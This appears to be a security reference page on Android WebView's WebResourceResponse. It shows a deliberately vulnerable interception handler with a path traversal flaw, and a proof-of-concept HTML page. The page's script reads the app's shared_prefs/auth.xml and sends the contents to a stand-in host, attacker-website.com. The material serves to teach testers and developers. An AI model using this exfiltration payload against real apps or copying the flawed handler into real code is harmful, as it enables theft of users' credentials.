WebResourceResponse Vulnerabilities

WebResourceResponse overview

WebResourceResponse is a class that allows an Android application to emulate the server within WebView by intercepting requests and returning arbitrary content (including a status code, content type, content encoding, headers and the response body) from the application's code itself without making any actual requests to the server.

Security issues

Access to arbitrary files

If you control a path of the returned file and have a XSS or the ability to open arbitrary links inside a WebView, you can gain access to arbitrary files via XHR requests.

For example, if there is the following WebResourceResponse implementation:

WebView webView = findViewById(R.id.webView);
webView.setWebViewClient(new WebViewClient() {
   public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
       Uri uri = request.getUrl();
       if (uri.getPath().startsWith("/local_cache/")) {
           File cacheFile = new File(getCacheDir(), uri.getLastPathSegment());
           if (cacheFile.exists()) {
               InputStream inputStream;
               try {
                   inputStream = new FileInputStream(cacheFile);
               } catch (IOException e) {
                   return null;
               }
               Map<String, String> headers = new HashMap<>();
               headers.put("Access-Control-Allow-Origin", "*");
               return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
           }
       }
       return super.shouldInterceptRequest(view, request);
   }
});

The PoC for the attack may look like the following one:

<!DOCTYPE html>
<html>
<head>
   <title>Evil page</title>
</head>
<body>
<script type="text/javascript">
   function theftFile(path, callback) {
     var oReq = new XMLHttpRequest();

     oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true);
     oReq.onload = function(e) {
       callback(oReq.responseText);
     }
     oReq.onerror = function(e) {
       callback(null);
     }
     oReq.send();
   }

   theftFile("shared_prefs/auth.xml", function(contents) {
       location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents);
   });
</script>
</body>
</html>

In the above example, the attack is possible because the Uri.getLastPathSegment() returns a decoded value that is used to generate the file path within the new File(getCacheDir(), uri.getLastPathSegment()) line.

Policies like CORS still work inside a WebView. Therefore, requests to the any.domain are not allowed without the Access-Control-Allow-Origin: * header. However, this restriction does not affect this PoC since the WebResourceResponse implementation checks uses only the URL path and you can replace any.domain with the current origin.

References:

References

Last updated